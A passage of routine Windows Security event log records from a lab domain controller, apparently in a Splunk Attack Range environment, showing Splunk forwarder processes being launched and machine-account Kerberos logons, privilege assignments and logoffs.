choose to start the program using Run as administrator. -03/12/2021 02:21:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257268 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:21:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257269 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x878 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:21:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:21:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257271 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:21:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:21:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:21:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257275 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4D9DF2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59558 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:21:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257274 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D9DF2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:21:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257277 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DA525 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {68513207-EE9F-7088-7C79-4A7797658EB5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:21:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257276 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DA525 - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/12/2021 02:21:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257278 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D9DF2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:21:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257281 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DB018 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:21:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257280 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DB018 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50779 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:21:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257279 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DB018 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257287 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DB380 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257286 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DB380 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50783 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257285 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DB380 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257284 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DB314 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257283 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DB314 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50782 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257282 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DB314 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257288 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257289 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257290 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x828 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257291 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:12 